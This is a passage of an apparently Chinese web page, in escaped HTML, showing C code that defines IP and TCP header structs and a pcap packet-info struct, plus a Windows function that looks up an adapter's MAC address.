style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;short&nbsp;int&nbsp;ip_id;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*identification&nbsp;(\u6807\u8bc6\u7b26)*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;short&nbsp;int&nbsp;ip_off;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*fragment&nbsp;offset&nbsp;field(\u6bb5\u79fb\u4f4d\u57df)*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;ip_ttl;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*time&nbsp;to&nbsp;live&nbsp;(\u751f\u5b58\u65f6\u95f4)*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;ip_p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*protocol(\u534f\u8bae)*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;short&nbsp;int&nbsp;ip_sum;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*checksum(\u6821\u9a8c\u548c)*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;ip_src[4];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*source&nbsp;address(\u6e90\u5730\u5740)*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;ip_dst[4];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*destination&nbsp;address(\u76ee\u7684\u5730\u5740)*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;}&nbsp;IP;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;typedef&nbsp;struct&nbsp;tcpheader&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;short&nbsp;int&nbsp;sport;&nbsp;&nbsp;&nbsp;&nbsp;\/*source&nbsp;port&nbsp;(\u6e90\u7aef\u53e3\u53f7)*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;short&nbsp;int&nbsp;dport;&nbsp;&nbsp;&nbsp;&nbsp;\/*destination&nbsp;port(\u76ee\u7684\u7aef\u53e3\u53f7)*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;int&nbsp;th_seq;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*sequence&nbsp;number(\u5305\u7684\u5e8f\u5217\u53f7)*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;int&nbsp;th_ack;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*acknowledgement&nbsp;number(\u786e\u8ba4\u5e94\u7b54\u53f7)*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;th_x:4;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*unused(\u672a\u4f7f\u7528)*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;th_off:4;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*data&nbsp;offset(\u6570\u636e\u504f\u79fb\u91cf)*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;Flags;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*\u6807\u5fd7\u5168*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;short&nbsp;int&nbsp;th_win;&nbsp;&nbsp;&nbsp;\/*windows(\u7a97\u53e3)*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;short&nbsp;int&nbsp;th_sum;&nbsp;&nbsp;&nbsp;\/*checksum(\u6821\u9a8c\u548c)*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;short&nbsp;int&nbsp;th_urp;&nbsp;&nbsp;&nbsp;\/*urgent&nbsp;pointer(\u7d27\u6025\u6307\u9488)*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;}&nbsp;TCP;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;typedef&nbsp;struct&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;pcap_t&nbsp;*hpcap;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u7f51\u5361\u63cf\u8ff0\u5b57&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;myIP[4];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u672c\u673aIP&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;myMAC[6];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u672c\u673aMAC&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;srcIP[4];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u6765\u6e90IP&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;srcMAC[6];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u6e90MAC&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;desMAC[6];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u76ee\u6807MAC&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;desIP[4];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u76ee\u6807IP&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;**Packet;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u6570\u636e\u5305\u6307\u9488&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;struct&nbsp;pcap_pkthdr&nbsp;pkthdr;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u50a8\u5b58\u6570\u636e\u5305\u5927\u5c0f&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;}&nbsp;PacketInfo;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;BOOL&nbsp;GetAdapterMAC(char&nbsp;*ipbuff,char&nbsp;*macbuff)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;IP_ADAPTER_INFO&nbsp;AdapterInfo[16];&nbsp;&nbsp;\/\/\u5b9a\u4e49\u5b58\u50a8\u7f51\u5361\u4fe1\u606f\u7684\u7ed3\u6784\u6570\u7ec4&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;ArrayLength=sizeof(AdapterInfo);&nbsp;&nbsp;\/\/\u7f13\u51b2\u533a\u957f\u5ea6&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;if(GetAdaptersInfo(AdapterInfo,&amp;ArrayLength)!=ERROR_SUCCESS)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;ERROR;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;PIP_ADAPTER_INFO&nbsp;PAdapterInfo=AdapterInfo;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;do&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!strcmp(ipbuff,PAdapterInfo-&gt;IpAddressList.IpAddress.String))&nbsp;break;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PAdapterInfo=PAdapterInfo-&gt;Next;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;while(PAdapterInfo);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;memset(macbuff,NULL,6);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(macbuff,PAdapterInfo-&gt;Address,6);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u83b7\u53d6\u7f51\u5361MAC\u5730\u5740&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;TRUE;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;char&nbsp;*iptos(u_long&nbsp;in)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span 